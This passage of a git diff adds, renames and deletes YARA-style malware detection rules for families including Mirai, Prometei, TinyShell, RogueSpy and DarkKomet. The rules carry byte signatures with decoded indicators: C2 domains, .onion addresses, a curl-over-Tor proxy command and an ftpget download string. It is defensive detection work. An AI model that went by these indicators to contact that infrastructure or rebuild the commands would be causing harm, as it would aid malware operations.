1f 8d e2 03 20 81 e0 c0 12 52 e5 05 30 d4 e7 01 30 23 e0 05 30 c4 e7 01 40 84 e2 04 00 56 e1 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LA_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LA_MTB.yar new file mode 100644 index 0000000000..37ef154a4c --- /dev/null +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LA_MTB.yar @@ -0,0 +1,15 @@ + +rule Backdoor_Linux_Mirai_LA_MTB{ + meta: + description = "Backdoor:Linux/Mirai.LA!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {41 74 74 61 63 6b 41 64 64 48 6f 73 74 } //1 AttackAddHost + $a_01_1 = {4b 69 6c 6c 65 72 53 63 61 6e 50 69 64 73 } //1 KillerScanPids + $a_01_2 = {41 74 74 61 63 6b 54 63 70 48 61 6e 64 73 68 61 6b 65 } //1 AttackTcpHandshake + $a_01_3 = {41 74 74 61 63 6b 54 63 70 41 63 6b } //1 AttackTcpAck + $a_01_4 = {41 74 74 61 63 6b 47 72 65 45 74 68 47 62 70 73 } //1 AttackGreEthGbps + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_GH_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LE_MTB.yar similarity index 81% rename from Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_GH_MTB.yar rename to Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LE_MTB.yar index 42b5e5037c..2e277f4559 100644 --- a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_GH_MTB.yar +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LE_MTB.yar @@ -1,7 +1,7 @@ -rule Backdoor_Linux_Mirai_GH_MTB{ +rule Backdoor_Linux_Mirai_LE_MTB{ meta: - description = "Backdoor:Linux/Mirai.GH!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + description = "Backdoor:Linux/Mirai.LE!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " strings : $a_01_0 = {58 82 99 8f 00 00 a0 a0 09 f8 20 03 21 20 c0 02 18 00 bc 8f 21 20 c0 02 58 82 99 8f 2c 00 a0 af 30 00 a0 af 34 00 a0 af 38 00 a0 af 09 f8 20 03 21 88 c2 02 18 00 bc 8f 11 00 42 24 } //1 diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LF_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LF_MTB.yar new file mode 100644 index 0000000000..df6772bd98 --- /dev/null +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LF_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Linux_Mirai_LF_MTB{ + meta: + description = "Backdoor:Linux/Mirai.LF!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {8b 44 24 04 8b 14 24 89 10 c7 40 04 00 00 00 00 8b 54 24 40 8b 43 04 89 02 c7 42 08 02 00 00 00 c7 42 0c 04 00 00 00 8b 44 24 04 eb 2c 8b 54 24 0c 8b 44 24 08 89 02 c7 42 04 00 00 00 00 8b 54 24 40 8b 43 04 89 02 c7 42 08 0a 00 00 00 c7 42 0c 10 00 00 00 8b 44 24 0c } //1 + $a_01_1 = {0f b6 03 0f b6 53 01 c1 e0 08 09 d0 89 45 04 0f b6 43 02 0f b6 53 03 c1 e0 08 09 d0 89 45 08 0f b6 53 04 0f b6 46 01 c1 e2 18 c1 e0 10 0f b6 4e 02 c1 e1 08 09 c2 0f b6 46 03 09 c2 09 d1 89 4d 0c 0f b6 53 08 0f b6 43 09 c1 e2 08 83 c3 0a 09 c2 89 5d 14 89 55 10 8b 44 24 14 83 c4 10 83 c0 0a 89 45 18 39 54 24 08 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LG_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LG_MTB.yar new file mode 100644 index 0000000000..ad9117eb56 --- /dev/null +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LG_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_Linux_Mirai_LG_MTB{ + meta: + description = "Backdoor:Linux/Mirai.LG!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {53 65 72 76 65 72 3a 20 44 4f 53 61 72 72 65 73 74 } //1 Server: DOSarrest + $a_01_1 = {74 6d 70 2f 2e 69 6e 73 74 61 6e 63 65 5f 6c 6f 63 6b } //1 tmp/.instance_lock + $a_01_2 = {66 74 70 67 65 74 20 2d 76 20 2d 75 20 61 6e 6f 6e 79 6d 6f 75 73 } //1 ftpget -v -u anonymous + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LH_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LH_MTB.yar new file mode 100644 index 0000000000..30c3e70d16 --- /dev/null +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LH_MTB.yar @@ -0,0 +1,14 @@ + +rule Backdoor_Linux_Mirai_LH_MTB{ + meta: + description = "Backdoor:Linux/Mirai.LH!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {64 64 6f 73 5f 74 63 70 5f 66 6c 6f 6f 64 } //1 ddos_tcp_flood + $a_01_1 = {63 6f 6e 6e 2e 6d 61 67 69 63 70 61 63 6b 65 74 6c 65 61 73 65 2e 6f 72 67 } //1 conn.magicpacketlease.org + $a_01_2 = {64 64 6f 73 5f 75 64 70 5f 62 79 70 61 73 73 5f 66 6c 6f 6f 64 } //1 ddos_udp_bypass_flood + $a_01_3 = {68 61 72 74 62 65 61 74 5f 73 65 6e 64 5f 73 68 75 74 64 6f 77 6e } //1 hartbeat_send_shutdown + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LK_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LK_MTB.yar new file mode 100644 index 0000000000..43419c3e51 --- /dev/null +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_LK_MTB.yar @@ -0,0 +1,14 @@ + +rule Backdoor_Linux_Mirai_LK_MTB{ + meta: + description = "Backdoor:Linux/Mirai.LK!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {6b 69 6c 6c 65 72 5f 77 69 70 65 5f 73 74 72 69 6e 67 73 } //1 killer_wipe_strings + $a_01_1 = {61 74 74 61 63 6b 5f 67 72 65 2e 63 } //1 attack_gre.c + $a_01_2 = {6e 65 77 62 6f 74 5f 76 31 } //1 newbot_v1 + $a_01_3 = {61 74 74 61 63 6b 5f 72 65 61 70 5f 64 65 61 64 } //1 attack_reap_dead + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Prometei/Backdoor_Linux_Prometei_B_MTB.yar b/Backdoor/Linux/Prometei/Backdoor_Linux_Prometei_B_MTB.yar new file mode 100644 index 0000000000..0e1968ff30 --- /dev/null +++ b/Backdoor/Linux/Prometei/Backdoor_Linux_Prometei_B_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_Linux_Prometei_B_MTB{ + meta: + description = "Backdoor:Linux/Prometei.B!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {47 74 76 52 73 64 43 37 59 71 49 45 58 4b 66 73 49 43 56 73 4b 61 6b 50 2d 30 33 6a 39 2f 56 6c 65 4c 65 62 45 63 32 62 54 59 47 6d 64 69 58 49 54 62 79 78 77 7a 2d 50 62 4f 74 45 75 4d 4e 32 32 72 39 68 77 66 64 48 56 61 6f 6a 65 65 4d 68 33 67 55 70 61 2f 2d 46 71 54 46 41 71 2f 46 72 77 70 58 79 53 45 33 6c 71 32 7a 33 37 58 33 5a 6d 75 34 6a 56 78 53 6a 37 78 74 78 4c 74 50 2d 31 2f 4d 7a 2f 76 2d 66 48 62 68 4f 6a 39 61 78 4c 59 59 67 37 55 78 55 63 39 79 53 53 79 69 49 61 4b 57 43 34 53 32 70 47 52 6f 5f 00 } //1 + $a_01_1 = {58 33 5a 6d 75 34 6a 56 78 53 6a 37 78 74 78 4c 74 50 2d 31 2f 4d 7a 2f 76 2d 66 48 62 68 4f 6a 39 61 78 4c 59 59 67 37 55 78 55 63 39 79 53 53 79 69 49 61 4b 57 43 34 53 32 70 47 52 6f 5f } //1 X3Zmu4jVxSj7xtxLtP-1/Mz/v-fHbhOj9axLYYg7UxUc9ySSyiIaKWC4S2pGRo_ + $a_01_2 = {00 2f 65 74 63 2f 6f 73 2d 72 65 6c 65 61 73 65 00 63 61 74 20 2f 65 74 63 2f 6f 73 2d 72 65 6c 65 61 73 65 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Backdoor/Linux/SAgnt/Backdoor_Linux_SAgnt_F_MTB.yar b/Backdoor/Linux/SAgnt/Backdoor_Linux_SAgnt_F_MTB.yar new file mode 100644 index 0000000000..594eed6893 --- /dev/null +++ b/Backdoor/Linux/SAgnt/Backdoor_Linux_SAgnt_F_MTB.yar @@ -0,0 +1,14 @@ + +rule Backdoor_Linux_SAgnt_F_MTB{ + meta: + description = "Backdoor:Linux/SAgnt.F!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {2f 68 6f 6d 65 2f 75 73 65 72 2f 6f 73 73 6c 5f 62 61 63 6b 64 6f 6f 72 2f 62 61 63 6b 64 6f 6f 72 2e 63 } //1 /home/user/ossl_backdoor/backdoor.c + $a_01_1 = {2f 68 6f 6d 65 2f 75 73 65 72 2f 6f 73 73 6c 5f 62 61 63 6b 64 6f 6f 72 2f 6f 70 65 6e 73 73 6c 2f 64 69 67 65 73 74 63 6f 6d 6d 6f 6e 2e 63 } //1 /home/user/ossl_backdoor/openssl/digestcommon.c + $a_01_2 = {70 72 6f 76 69 64 65 72 3d 6e 6f 74 5f 61 5f 62 61 63 6b 64 6f 6f 72 } //1 provider=not_a_backdoor + $a_01_3 = {41 56 49 89 f6 41 55 49 89 d5 41 54 49 89 cc 55 48 89 fd bf 10 00 00 00 53 e8 de fb ff ff 48 89 c3 48 85 c0 74 3d 4c 89 f6 48 89 ef e8 fb fb ff ff 48 89 43 08 48 85 c0 74 22 48 8d 05 cb 25 00 00 49 89 1c 24 48 89 2b 49 89 45 00 b8 01 00 00 00 5b 5d 41 5c 41 5d 41 5e } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Backdoor/Linux/SAgnt/Backdoor_Linux_SAgnt_L_MTB.yar b/Backdoor/Linux/SAgnt/Backdoor_Linux_SAgnt_L_MTB.yar deleted file mode 100644 index abcba8dd9d..0000000000 --- a/Backdoor/Linux/SAgnt/Backdoor_Linux_SAgnt_L_MTB.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule Backdoor_Linux_SAgnt_L_MTB{ - meta: - description = "Backdoor:Linux/SAgnt.L!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_00_0 = {83 90 12 00 28 00 b3 af 20 00 b1 af 1c 00 b0 af 2c 00 bf af 10 00 bc af 21 88 40 00 ff ff 52 26 21 98 60 00 42 00 10 3c } //1 - condition: - ((#a_00_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/Backdoor/Linux/TinyShell/Backdoor_Linux_TinyShell_A_MTB.yar b/Backdoor/Linux/TinyShell/Backdoor_Linux_TinyShell_A_MTB.yar new file mode 100644 index 0000000000..a9e20d0e18 --- /dev/null +++ b/Backdoor/Linux/TinyShell/Backdoor_Linux_TinyShell_A_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Linux_TinyShell_A_MTB{ + meta: + description = "Backdoor:Linux/TinyShell.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {8b 45 f8 8b 4d 08 01 c1 8b 45 f8 8b 55 08 01 c2 8a 45 ff 32 02 88 01 8d 45 f8 ff 00 } //2 + $a_01_1 = {69 63 6d 70 5b 34 3a 32 5d 20 3d 3d 20 30 78 61 61 35 36 } //1 icmp[4:2] == 0xaa56 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Backdoor/MacOS/NimDoor/Backdoor_MacOS_NimDoor_A_MTB.yar b/Backdoor/MacOS/NimDoor/Backdoor_MacOS_NimDoor_A_MTB.yar new file mode 100644 index 0000000000..b9a6660944 --- /dev/null +++ b/Backdoor/MacOS/NimDoor/Backdoor_MacOS_NimDoor_A_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_MacOS_NimDoor_A_MTB{ + meta: + description = "Backdoor:MacOS/NimDoor.A!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {48 89 fe 48 c1 ee 03 83 e6 38 48 8b 44 30 10 48 0f a3 f8 73 0c 48 8b 02 83 e0 01 48 09 c8 48 89 02 } //1 + $a_01_1 = {4d 89 77 08 4c 89 e3 48 c1 fb 0c 4c 89 e7 48 c1 ff 15 e8 f8 f5 ff ff 48 89 da 48 c1 ea 03 be 01 00 00 00 89 d9 48 d3 e6 83 e2 38 48 09 74 10 10 4b 8b 54 37 08 31 c9 81 fa 00 01 00 00 0f 93 c1 48 c1 e1 03 31 c0 81 fa 00 00 00 01 0f 93 c0 81 fa 00 00 01 00 48 8d 04 c5 10 00 00 00 48 0f 42 c1 89 d6 89 c1 48 d3 ee } //1 + $a_01_2 = {48 89 f2 48 c1 ea 03 83 e2 38 48 8b 44 10 10 48 0f a3 f0 73 15 49 39 4c 24 08 75 0e 49 8b 07 83 e0 01 48 09 c8 49 89 07 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Backdoor/Script/RogueSpy/Backdoor_Script_RogueSpy_E_dha.yar b/Backdoor/Script/RogueSpy/Backdoor_Script_RogueSpy_E_dha.yar new file mode 100644 index 0000000000..ba43843fbb --- /dev/null +++ b/Backdoor/Script/RogueSpy/Backdoor_Script_RogueSpy_E_dha.yar @@ -0,0 +1,18 @@ + +rule Backdoor_Script_RogueSpy_E_dha{ + meta: + description = "Backdoor:Script/RogueSpy.E!dha,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 08 00 00 " + + strings : + $a_00_0 = {76 00 7a 00 35 00 6d 00 68 00 65 00 37 00 6a 00 6d 00 6a 00 74 00 37 00 72 00 67 00 69 00 71 00 37 00 75 00 68 00 67 00 6d 00 65 00 6d 00 74 00 73 00 7a 00 66 00 65 00 68 00 6c 00 6d 00 6a 00 68 00 68 00 63 00 75 00 65 00 35 00 7a 00 7a 00 33 00 6f 00 6e 00 68 00 74 00 6c 00 76 00 33 00 6d 00 66 00 6c 00 68 00 77 00 76 00 69 00 64 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 } //1 vz5mhe7jmjt7rgiq7uhgmemtszfehlmjhhcue5zz3onhtlv3mflhwvid.onion + $a_00_1 = {61 00 63 00 66 00 6e 00 63 00 7a 00 68 00 79 00 7a 00 6c 00 68 00 76 00 66 00 6b 00 35 00 62 00 68 00 79 00 75 00 75 00 71 00 79 00 6d 00 6d 00 76 00 35 00 76 00 61 00 6b 00 34 00 78 00 71 00 78 00 71 00 70 00 67 00 61 00 6d 00 72 00 6a 00 65 00 68 00 32 00 77 00 78 00 78 00 69 00 61 00 37 00 6d 00 6f 00 76 00 62 00 7a 00 79 00 64 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 } //1 acfnczhyzlhvfk5bhyuuqymmv5vak4xqxqpgamrjeh2wxxia7movbzyd.onion + $a_00_2 = {32 00 7a 00 69 00 6c 00 6d 00 69 00 79 00 73 00 74 00 66 00 62 00 6a 00 69 00 62 00 32 00 6b 00 34 00 68 00 76 00 68 00 70 00 6e 00 76 00 32 00 75 00 68 00 6e 00 69 00 34 00 61 00 78 00 35 00 63 00 65 00 34 00 78 00 6c 00 70 00 62 00 37 00 73 00 77 00 6b 00 6a 00 69 00 6d 00 66 00 6e 00 73 00 7a 00 78 00 62 00 6b 00 61 00 69 00 64 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 } //1 2zilmiystfbjib2k4hvhpnv2uhni4ax5ce4xlpb7swkjimfnszxbkaid.onion + $a_00_3 = {69 00 32 00 72 00 67 00 63 00 76 00 6f 00 67 00 36 00 63 00 79 00 70 00 6a 00 6f 00 68 00 66 00 7a 00 66 00 7a 00 77 00 33 00 64 00 35 00 6b 00 71 00 67 00 6f 00 6f 00 62 00 6b 00 7a 00 6c 00 62 00 63 00 68 00 73 00 64 00 78 00 78 00 34 00 67 00 6d 00 37 00 6c 00 79 00 61 00 78 00 6e 00 35 00 6e 00 66 00 70 00 36 00 62 00 69 00 64 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 } //1 i2rgcvog6cypjohfzfzw3d5kqgoobkzlbchsdxx4gm7lyaxn5nfp6bid.onion + $a_00_4 = {7a 00 6b 00 33 00 62 00 34 00 79 00 71 00 36 00 7a 00 61 00 6f 00 37 00 6d 00 68 00 6f 00 79 00 79 00 66 00 65 00 73 00 71 00 32 00 79 00 36 00 6c 00 73 00 32 00 6b 00 36 00 63 00 69 00 61 00 33 00 35 00 6a 00 77 00 6a 00 62 00 69 00 71 00 65 00 36 00 66 00 79 00 64 00 35 00 63 00 6a 00 69 00 35 00 74 00 73 00 77 00 65 00 79 00 64 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 } //1 zk3b4yq6zao7mhoyyfesq2y6ls2k6cia35jwjbiqe6fyd5cji5tsweyd.onion + $a_00_5 = {6e 00 36 00 62 00 36 00 6a 00 34 00 76 00 6c 00 6b 00 63 00 34 00 61 00 6b 00 33 00 34 00 33 00 6a 00 34 00 66 00 6d 00 75 00 77 00 6d 00 6f 00 73 00 78 00 74 00 77 00 72 00 66 00 74 00 36 00 62 00 70 00 68 00 35 00 73 00 35 00 35 00 36 00 32 00 6c 00 65 00 66 00 6a 00 69 00 34 00 61 00 34 00 37 00 35 00 73 00 6d 00 75 00 61 00 64 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 } //1 n6b6j4vlkc4ak343j4fmuwmosxtwrft6bph5s5562lefji4a475smuad.onion + $a_00_6 = {71 00 71 00 64 00 64 00 34 00 64 00 72 00 62 00 76 00 6b 00 33 00 79 00 75 00 6f 00 63 00 79 00 73 00 74 00 6e 00 71 00 79 00 6f 00 6e 00 62 00 32 00 36 00 79 00 6f 00 37 00 6b 00 6f 00 73 00 66 00 72 00 61 00 6f 00 74 00 61 00 72 00 74 00 76 00 64 00 63 00 72 00 6f 00 36 00 69 00 35 00 37 00 61 00 75 00 73 00 79 00 6b 00 71 00 64 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 } //1 qqdd4drbvk3yuocystnqyonb26yo7kosfraotartvdcro6i57ausykqd.onion + $a_00_7 = {34 00 65 00 70 00 76 00 33 00 34 00 78 00 6a 00 75 00 6b 00 72 00 35 00 79 00 32 00 7a 00 68 00 68 00 69 00 7a 00 74 00 73 00 72 00 35 00 66 00 76 00 73 00 68 00 79 00 69 00 67 00 36 00 68 00 77 00 36 00 69 00 77 00 33 00 77 00 33 00 36 00 78 00 77 00 63 00 75 00 61 00 78 00 63 00 6a 00 64 00 75 00 6d 00 79 00 32 00 75 00 69 00 64 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 } //1 4epv34xjukr5y2zhhiztsr5fvshyig6hw6iw3w36xwcuaxcjdumy2uid.onion + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Backdoor/Script/RogueSpy/Backdoor_Script_RogueSpy_F_dha.yar b/Backdoor/Script/RogueSpy/Backdoor_Script_RogueSpy_F_dha.yar new file mode 100644 index 0000000000..8489765b76 --- /dev/null +++ b/Backdoor/Script/RogueSpy/Backdoor_Script_RogueSpy_F_dha.yar @@ -0,0 +1,13 @@ + +rule Backdoor_Script_RogueSpy_F_dha{ + meta: + description = "Backdoor:Script/RogueSpy.F!dha,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 78 00 } //1 curl.exe -x + $a_00_1 = {73 00 6f 00 63 00 6b 00 73 00 35 00 68 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 3a 00 39 00 30 00 35 00 30 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 } //1 socks5h://127.0.0.1:9050 http:// + $a_00_2 = {2e 00 6f 00 6e 00 69 00 6f 00 6e 00 } //1 .onion + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Backdoor/Win32/DarkKomet/Backdoor_Win32_DarkKomet_MA_MTB.yar b/Backdoor/Win32/DarkKomet/Backdoor_Win32_DarkKomet_MA_MTB.yar deleted file mode 100644 index b742e05525..0000000000 --- a/Backdoor/Win32/DarkKomet/Backdoor_Win32_DarkKomet_MA_MTB.yar +++ /dev/null @@ -1,13 +0,0 @@ - -rule Backdoor_Win32_DarkKomet_MA_MTB{ - meta: - description = "Backdoor:Win32/DarkKomet.MA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " - - strings : - $a_03_0 = {8b 5d 08 b8 4d 5a 00 00 66 39 03 74 ?? 33 c0 eb ?? 8b 43 3c 81 3c 18 50 45 00 00 75 ?? 8b 44 18 78 83 65 08 00 56 03 c3 8b 70 20 8b 48 18 57 8b 78 1c 03 f3 03 fb 89 4d fc 85 c9 74 } //1 - $a_03_1 = {33 c1 8b c8 c1 e1 18 c1 f9 1f 81 e1 ?? ?? ?? ?? 8b f0 c1 e6 1f c1 fe 1f 81 e6 ?? ?? ?? ?? 33 ce 8b f0 c1 e6 1d c1 fe 1f 81 e6 ?? ?? ?? ?? 33 ce 8b f0 c1 e6 19 c1 fe 1f 81 e6 ?? ?? ?? ?? 33 ce 8b f0 c1 e6 1a c1 fe 1f 81 e6 ?? ?? ?? ?? 33 ce } //1 - $a_01_2 = {49 73 50 72 6f 63 65 73 73 6f 72 46 65 61 74 75 72 65 50 72 65 73 65 6e 74 } //1 IsProcessorFeaturePresent - condition: - ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1) >=3 - -} \ No newline at end of file diff --git a/Backdoor/Win32/Dridex/Backdoor_Win32_Dridex_SD_MTB.yar b/Backdoor/Win32/Dridex/Backdoor_Win32_Dridex_SD_MTB.yar deleted file mode 100644 index d8dfd3a68e..0000000000 --- a/Backdoor/Win32/Dridex/Backdoor_Win32_Dridex_SD_MTB.yar +++ /dev/null @@ -1,13 +0,0 @@ - -rule Backdoor_Win32_Dridex_SD_MTB{ - meta: - description = "Backdoor:Win32/Dridex.SD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 00 " - - strings : - $a_00_0 = {6a 08 8b c1 5d a8 01 74 09 d1 e8 35 20 83 b8 ed eb 02 d1 e8 83 ed 01 75 ec 89 04 8a 41 81 f9 00 01 00 00 7c db } //1 - $a_02_1 = {8b 08 33 d2 03 ce 8a 01 88 44 24 30 84 c0 74 16 8d 44 24 30 2b c8 42 8d 04 11 8a 44 04 30 88 44 14 30 84 c0 75 f0 8d 4c 24 30 e8 [0-06] 39 44 24 28 74 1f 8b 4c 24 18 83 c5 02 8b 44 24 1c 41 83 c0 04 89 4c 24 18 89 44 24 1c 3b 4c 37 18 72 ae } //1 - $a_03_2 = {8b 08 33 d2 03 ce 8a 01 88 44 ?? ?? 84 c0 74 16 8d 44 ?? ?? 2b c8 42 8d 04 11 8a 44 ?? ?? 88 44 ?? ?? 84 c0 75 f0 8d 4c ?? ?? e8 ?? ?? ?? ?? 39 44 ?? ?? 74 1f 8b 4c ?? ?? 83 c5 02 8b 44 ?? ?? 41 83 c0 04 89 4c ?? ?? 89 44 ?? ?? 3b 4c ?? ?? 72 } //1 - condition: - ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_03_2 & 1)*1) >=2 - -} \ No newline at end of file diff --git a/Backdoor/Win32/Farfli/Backdoor_Win32_Farfli_BAA_MTB.yar b/Backdoor/Win32/Farfli/Backdoor_Win32_Farfli_BAA_MTB.yar index 76d4c92dd2..f0b96a25e4 100644 --- a/Backdoor/Win32/Farfli/Backdoor_Win32_Farfli_BAA_MTB.yar +++ b/Backdoor/Win32/Farfli/Backdoor_Win32_Farfli_BAA_MTB.yar @@ -1,5 +1,15 @@ rule Backdoor_Win32_Farfli_BAA_MTB{ + meta: + description = "Backdoor:Win32/Farfli.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {33 c9 0f b7 d1 8a 94 55 ?? ?? ?? ?? 30 10 41 40 4e 75 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Backdoor_Win32_Farfli_BAA_MTB_2{ meta: description = "Backdoor:Win32/Farfli.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " diff --git a/Backdoor/Win32/IRCBot/Backdoor_Win32_IRCbot_gen_A.yar b/Backdoor/Win32/IRCBot/Backdoor_Win32_IRCbot_gen_A.yar index c85b6a9be3..2dcc30a1fe 100644 --- a/Backdoor/Win32/IRCBot/Backdoor_Win32_IRCbot_gen_A.yar +++ b/Backdoor/Win32/IRCBot/Backdoor_Win32_IRCbot_gen_A.yar @@ -1,7 +1,7 @@ rule Backdoor_Win32_IRCbot_gen_A{ meta: - description = "Backdoor:Win32/IRCbot.gen!A,SIGNATURE_TYPE_PEHSTR,06 00 06 00 07 00 00 " + description = "Backdoor:Win32/IRCbot.gen!A,SIGNATURE_TYPE_PEHSTR,07 00 07 00 08 00 00 " strings : $a_01_0 = {72 6f 6f 74 } //1 root @@ -11,7 +11,8 @@ rule Backdoor_Win32_IRCbot_gen_A{ $a_01_4 = {25 73 5c 63 24 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d } //1 %s\c$\windows\system $a_01_5 = {25 73 5c 41 64 6d 69 6e 24 5c 73 79 73 74 65 6d } //1 %s\Admin$\system $a_01_6 = {25 73 5c 69 70 63 24 } //1 %s\ipc$ + $a_01_7 = {50 52 49 56 4d 53 47 20 } //1 PRIVMSG condition: - ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=6 + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=7 } \ No newline at end of file diff --git a/Backdoor/Win32/KaziBora/Backdoor_Win32_KaziBora_A_dha.yar b/Backdoor/Win32/KaziBora/Backdoor_Win32_KaziBora_A_dha.yar new file mode 100644 index 0000000000..e5ceacb4fb --- /dev/null +++ b/Backdoor/Win32/KaziBora/Backdoor_Win32_KaziBora_A_dha.yar @@ -0,0 +1,15 @@ + +rule Backdoor_Win32_KaziBora_A_dha{ + meta: + description = "Backdoor:Win32/KaziBora.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 06 00 05 00 00 " + + strings : + $a_01_0 = {53 79 63 6d 65 6e 74 65 63 } //6 Sycmentec + $a_02_1 = {14 88 77 66 c7 [0-03] 08 02 00 00 } //6 + $a_00_2 = {03 77 66 55 } //2 眃啦 + $a_00_3 = {01 77 66 55 } //2 省啦 + $a_00_4 = {11 88 77 66 } //2 + condition: + ((#a_01_0 & 1)*6+(#a_02_1 & 1)*6+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2) >=6 + 